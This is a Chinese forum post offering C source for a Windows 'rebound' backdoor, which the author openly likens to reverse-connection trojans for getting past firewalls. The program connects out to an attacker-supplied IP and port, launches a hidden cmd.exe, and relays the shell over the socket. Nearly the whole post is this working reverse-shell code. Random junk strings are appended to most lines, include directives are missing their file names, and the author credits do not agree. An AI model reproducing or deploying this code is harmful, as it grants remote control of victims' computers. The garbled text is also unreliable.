这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 % 4 ~l
-8Ti*:
/* ============================== lC?Icn|o
Rebound port in Windows NT ~Gv#iRi>
By wind,2006/7 ]]iPEm"@
===============================*/ ~P f5ORoe
#include `)>7)={
#include 6vy7l(%
w7kJg'X/6
#pragma comment(lib,"wsock32.lib") d]v+mVAyE
"5|Lz) =
void OutputShell(); ]Yyia.B
SOCKET sClient; U9d:@9Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D&:yMp(
woOy*)@
void main(int argc,char **argv) (k"_># %
{ 2z0n<`
WSADATA stWsaData; h8 @
int nRet; pxINw>\Qv
SOCKADDR_IN stSaiClient,stSaiServer; v:_B kHN'
773/#c
if(argc != 3) omX?Bl
{ Ka_S n
printf("Useage:\n\rRebound DestIP DestPort\n"); |$lwkC)O
return; yubSj*
} 1&)_(|p[C
mj,fp2D;%
WSAStartup(MAKEWORD(2,2),&stWsaData); jx`QB')kX
3tS~:6-/
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C*6S@4k
- M5=r>1;
stSaiClient.sin_family = AF_INET; p='-\M74K
stSaiClient.sin_port = htons(0); YoODR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sKaE-sbJY
3TuC+'`G
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c9Es%@]
{ U HO_Z
printf("Bind Socket Failed!\n"); 'Pltn{iq[
return; |Rzy8j*
} 76fIC
+SXIZ`
stSaiServer.sin_family = AF_INET; H^%.=kf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T6#"8qz<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )hKS0`$|
`m~syKz4A
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y6HuN
{ 748CD{KxW
printf("Connect Error!"); h rN%
return; <&!]K?Q9i
} -#&kYK#Ph
OutputShell(); ni CE\B~
} *gsAn<
ZFh+x@
void OutputShell() (X[2TT3j!
{ D vkxI<Xa
char szBuff[1024]; vlWw3>4
SECURITY_ATTRIBUTES stSecurityAttributes; N1EezC'^
OSVERSIONINFO stOsversionInfo; 8Z#j7)G
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +*nGp5=^GE
STARTUPINFO stStartupInfo; 1qdZc_x
char *szShell; FcbM7/
PROCESS_INFORMATION stProcessInformation; LX+5|u
unsigned long lBytesRead; Bn wzcl
25{ uz
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *=F(KZ
F
8yF
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /ONV5IkPy
stSecurityAttributes.lpSecurityDescriptor = 0; y7u^zH6wj
stSecurityAttributes.bInheritHandle = TRUE; y&T&1o
gz#4{iT~
R""%F#4XJ2
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .q`{Dgc~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >O9sk
!4#"!Md4o
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g;p)n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |lQ;ALH!
stStartupInfo.wShowWindow = SW_HIDE; ~.tvrxg
stStartupInfo.hStdInput = hReadPipe; B uQ|~V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !-]C;9Zd
3-Bl
GetVersionEx(&stOsversionInfo); aC=['a>)
Gy29MUF
switch(stOsversionInfo.dwPlatformId) 42) mM#
{ 8Cf|*C+_'
case 1: F}?<v8#z0
szShell = "command.com"; oh8L`=>&a
break; {[G`Z9]z&-
default: dz9Y}\2tf
szShell = "cmd.exe";
a=}*mF[ug
break; o=+Z.-q
} lvSdY(8
=jAFgwP\
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2OBfHO~D
`x8Bn"
send(sClient,szMsg,77,0); E0f{iO;}
while(1) H?rg5TI0
{ C0)Z6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C*~aSl7
if(lBytesRead) mB 55PYA
{ i2,U,>.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pK_?}~
send(sClient,szBuff,lBytesRead,0); Zc5
:]]
} ;2`sN
else =yiOJyx
{ L K7Xw3
lBytesRead=recv(sClient,szBuff,1024,0); -E>)j\{PX7
if(lBytesRead<=0) break; t%0?N<9YkU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .J.vC1 4gi
} 85Y|CN] vQ
} 2Oc$+St~8
Y*YFB|f?
return; .(Y6$[#@
}